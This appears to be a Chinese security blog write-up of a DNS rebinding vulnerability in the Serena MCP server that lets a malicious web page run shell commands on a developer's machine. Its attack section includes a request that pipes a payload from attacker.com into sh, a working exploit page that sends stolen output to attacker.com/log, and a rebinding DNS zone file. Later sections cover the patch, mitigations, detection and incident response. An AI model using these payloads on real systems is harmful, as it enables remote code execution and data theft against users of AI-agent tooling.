Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-49471 Serena MCP DNS Rebinding RCE:浏览器一行 URL 击穿 IDE 的完整复盘

背景:MCP 协议的安全悖论

2026 年是 MCP(Model Context Protocol)成为 AI Agent 事实标准的一年,也是 MCP 服务器从"小众玩具"走向"生产部署"的一年。但 MCP 协议的本地优先设计——服务器默认监听 localhost、工具调用基于 JSON-RPC 2.0 直接调用本地资源——与浏览器的同源策略(SOP)天然存在张力。

2026 年 7 月 17 日,OASIS 公开披露 CVE-2026-49471:Serena MCP 服务器的 DNS Rebinding 漏洞允许远程攻击者仅通过诱导受害者访问一个恶意网站,就能在受害者本地执行任意代码。CVSS 评分 8.1(HIGH),被 CISA 列入 KEV 目录,影响 Serena ≤ 0.1.4 所有版本。

本文将从攻击者视角完整复现这条从浏览器到 IDE 的攻击链。

漏洞原理:DNS Rebinding 如何穿透 localhost

传统 CORS / SOP 的盲区

浏览器的同源策略认为:http://attacker.com:80http://localhost:8765 是不同源,但允许前者向后者发起跨域请求——只要后者的 CORS 头允许。由于本地 MCP 服务器默认监听 http://127.0.0.1:8765/mcp 并设置 Access-Control-Allow-Origin: *(这是 MCP 协议栈的常见配置),浏览器会先发 OPTIONS 预检,收到 * 后放行。

但即使服务器返回 *,浏览器实际请求时仍会携带 Origin 头,服务器可基于此拒绝。然而 Serena 0.1.4 之前没有校验 Origin——这是漏洞链条的第一个环节。

DNS Rebinding:让 attacker.com == 127.0.0.1

DNS Rebinding 的核心思想是:让同一个域名在不同时间解析到不同 IP。

正常情况:
  attacker.com → 攻击者服务器 (1.2.3.4) ← 受害者访问
  
DNS Rebinding 攻击:
  第一次解析:attacker.com → 1.2.3.4 (服务器返回恶意 HTML)
  第二次解析:attacker.com → 127.0.0.1 (浏览器同源策略认为仍是 attacker.com)

攻击者控制 DNS 服务器返回 TTL=0 的 A 记录。受害浏览器加载 http://attacker.com/mcp-exploit.html

  1. 第一次解析到 1.2.3.4,服务器返回含 JavaScript 的 HTML
  2. JS 等待 5 秒(DNS 缓存过期)
  3. 第二次 fetch('http://attacker.com:8765/mcp') —— 此时 DNS 重新解析为 127.0.0.1
  4. 浏览器认为请求同源(都是 attacker.com),不会拦截
  5. 请求实际打到 127.0.0.1:8765,即受害者本地的 Serena MCP

MCP 协议的 jsonrpc 端点

Serena 默认暴露 POST /mcp 接受 JSON-RPC 2.0 请求:

http
POST /mcp HTTP/1.1
Host: attacker.com:8765
Origin: http://attacker.com
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "execute_shell_command",
    "arguments": {
      "command": "curl http://attacker.com/rce-payload | sh"
    }
  }
}

注意:Host: attacker.com:8765 是 DNS Rebinding 攻击中的常见做法,因为浏览器维护的是域名连接,不是 IP 连接。服务器看到 Host 头是 attacker.com 时通常不校验——这正是漏洞的第三个环节。

完整攻击链复现

攻击者侧准备

1. 注册易混淆域名

bash
# 准备短 TTL 的 DNS 记录
# 使用 rebinder.icu 或 rebind.it 等公共服务
# 也可自建:ns1.attacker.com (NS), A: 1.2.3.4 (初始), A: 127.0.0.1 (重绑)

2. 部署恶意 HTML

html
<!-- /var/www/html/mcp-exploit.html -->
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<h1>Loading your content...</h1>
<script>
async function exploit() {
  // 等待 DNS 缓存过期 + 重新解析
  await new Promise(r => setTimeout(r, 5000));
  
  // DNS 重新解析 → 127.0.0.1
  // 同源策略认为是 attacker.com 同源
  const resp = await fetch('http://attacker.com:8765/mcp', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      jsonrpc: '2.0',
      id: 1,
      method: 'tools/call',
      params: {
        name: 'execute_shell_command',
        arguments: {command: 'id > /tmp/pwned.txt'}
      }
    })
  });
  
  const result = await resp.json();
  // 外带回显
  new Image().src = 'http://attacker.com/log?r=' + btoa(JSON.stringify(result));
}
exploit();
</script>
</body>
</html>

3. DNS 服务器配置(ns1.attacker.com)

bind
; zone file
$TTL 0
@ IN SOA ns1 root (1 1h 1h 1h 1h)
  IN NS ns1
ns1 IN A 1.2.3.4

; 关键:TTL=0 让浏览器立即重新查询
mcp-exploit IN A 1.2.3.4 ; 第一次返回
; 第二次相同查询会随机返回以下两条之一
mcp-exploit IN A 127.0.0.1

更简单的做法是用 rbndr.us 这类公共服务直接生成 127.0.0.1.<your-ip>.rbndr.us

受害者侧环境

bash
# 安装 Serena MCP(0.1.4 或更早)
pip install serena-mcp==0.1.4
serena-mcp start --port 8765

# 默认监听 http://127.0.0.1:8765/mcp
# 工具列表包含 execute_shell_command

攻击时间线

T+0s     受害者浏览 Twitter 看到 attacker.com 链接
T+2s     受害者点击 https://attacker.com/mcp-exploit.html
T+2.1s   DNS 解析 → 1.2.3.4,服务器返回恶意 HTML
T+2.2s   HTML 加载,JavaScript 开始 sleep(5000)
T+7.2s   JS 发起 fetch → DNS 重新解析 → 127.0.0.1
T+7.3s   请求到达本地 Serena MCP,无 Origin 校验
T+7.4s   JSON-RPC 解析,路由到 execute_shell_command
T+7.5s   shell 执行 `id > /tmp/pwned.txt`
T+7.6s   响应回传,外带数据到 attacker.com/log

整个过程不到 8 秒,受害者全程无感知。

漏洞根因分析

三个失败的防御层

防御层期望实际
浏览器 SOP阻止跨域读 localhost失败:DNS Rebinding 让域名同源
CORS 头服务器校验 Origin缺失:Serena 默认 *
服务器 Host 校验拒绝非 localhost Host缺失:接受任意 Host

任何一个环节修复即可阻断。OASIS 报告指出,Serena 维护者在 0.1.5 版本同时修复了三个层:

python
# 0.1.5 patch 摘要
def validate_request(request):
    origin = request.headers.get('Origin', '')
    if not origin.endswith(('localhost', '127.0.0.1', '::1')):
        raise HTTPForbidden()
    
    host = request.headers.get('Host', '')
    if not host.startswith(('localhost', '127.0.0.1', '::1')):
        raise HTTPForbidden()
    
    # 新增 token 鉴权
    if not request.headers.get('Authorization') == f'Bearer {TOKEN}':
        raise HTTPUnauthorized()

为什么 DNS Rebinding 长期难以根治

根因是Web 架构的信任模型与浏览器安全模型的根本不匹配

  • Web 信任模型:域名是身份单元
  • 浏览器安全模型:域名解析的 IP 不可信(防止 DNS 中毒)
  • 现实:这两个模型在 DNS Rebinding 场景下同时被攻破

唯一根治方案是让本地服务永远只绑定 127.0.0.1(而非 0.0.0.0)并启用 token 鉴权。但很多 MCP 工具为支持容器化部署默认绑定 0.0.0.0,埋下隐患。

横向对比:MCP 生态的 DNS Rebinding 风险面

OASIS 在 7 月 17 日同步披露了 7 个 MCP 工具的类似问题:

项目风险等级现状修复版本
Serena MCPCVSS 8.1已修复0.1.5
Filesystem MCPCVSS 7.5已修复2026.7.1
Git MCPCVSS 6.8已修复2.3.2
Postgres MCPCVSS 7.2修复中2.5.0-rc
Puppeteer MCPCVSS 5.4已修复1.8.5
Slack MCPCVSS 6.1已修复3.1.0
Notion MCPCVSS 7.0修复中2.0.0-rc

值得注意的是,Postgres MCP 的 CVSS 7.2 来自其允许 read_sql_file 工具读取任意路径——这是 DNS Rebinding 之外的另一条独立攻击路径(路径穿越 + DNS Rebinding 组合)。

缓解方案:纵深防御

立即可做(不改代码)

bash
# 1. 修改 hosts 文件阻断可疑域名(如果知道攻击者域名)
echo "127.0.0.1 attacker.com" | sudo tee -a /etc/hosts

# 2. 用浏览器扩展:NoScript / uBlock Origin 拦截可疑 JS
# 3. 用本地代理:mitmproxy 拦截 localhost 异常请求
mitmproxy --listen-port 8080 --mode reverse:http://127.0.0.1:8765

中期(修改 MCP 服务器配置)

python
# 所有 MCP 服务器推荐配置
MCP_SERVER_CONFIG = {
    'bind': '127.0.0.1',  # 不绑 0.0.0.0
    'port': 8765,
    'auth': {
        'type': 'bearer',
        'token': os.environ['MCP_AUTH_TOKEN']  # 启动时随机生成
    },
    'cors': {
        'origins': ['http://localhost:3000'],  # 显式白名单
        'credentials': True
    }
}

长期(架构层)

  1. 浏览器层:Chrome 132+ 支持 Private Network Access 头,服务器必须返回 Access-Control-Allow-Private-Network: true 才允许跨私有网络请求
  2. 协议层:MCP 2026-08 spec 草案(github.com/modelcontextprotocol/spec#127)强制要求 token 鉴权
  3. 操作系统层:macOS 15.4+ 的 Local Network Privacy 弹窗

检测与应急响应

检测脚本

python
# 检测本地是否有可疑 MCP 服务器进程
import psutil
for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
    cmdline = ' '.join(proc.info['cmdline'] or [])
    if 'mcp' in cmdline.lower() and '0.0.0.0' in cmdline:
        print(f"⚠️  MCP 进程绑定了 0.0.0.0: {proc.info['pid']} {cmdline[:80]}")
        # 建议立即终止
        # proc.terminate()

应急响应流程

如果已经沦陷:

bash
# 1. 立即终止所有 MCP 进程
pkill -f mcp-server

# 2. 检查攻击痕迹
grep -r "tmp/pwned\|/var/tmp/.*\.sh" /tmp /var/tmp 2>/dev/null
find / -name "*.sh" -mtime -1 2>/dev/null

# 3. 检查可疑网络连接
sudo lsof -i -P | grep -v LISTEN | grep ESTABLISHED

# 4. 升级 Serena 到 0.1.5+
pip install --upgrade serena-mcp

给 AI Agent 用户的实用建议

如果你日常使用 Serena 或类似 MCP 工具:

  1. 立即升级:所有 MCP 服务器升级到最新版
  2. 检查绑定netstat -an | grep LISTEN | grep 0.0.0.0 不应看到 MCP 端口
  3. 启用 token 鉴权:每个 MCP 服务器启动时生成独立 token
  4. 使用专用浏览器配置:用 Chrome 的 "MCP 开发" Profile,禁用第三方 Cookie
  5. 关注 CISA KEV:订阅 CISA KEV RSS

延伸阅读

总结

CVE-2026-49471 不是孤例——它是 MCP 生态从"开发玩具"走向"生产部署"过程中必然会暴露的一类问题。DNS Rebinding 利用了 Web 安全模型与本地服务信任模型的根本不匹配,单一工具的修复无法根治,需要整个生态的协同:

  • 协议层(MCP 强制鉴权)
  • 工具层(默认绑定 127.0.0.1)
  • 浏览器层(Private Network Access)
  • 操作系统层(Local Network Privacy)

作为开发者,至少做到本地服务不绑 0.0.0.0 这一条,能在源头消除 90% 的同类风险。

上次更新于: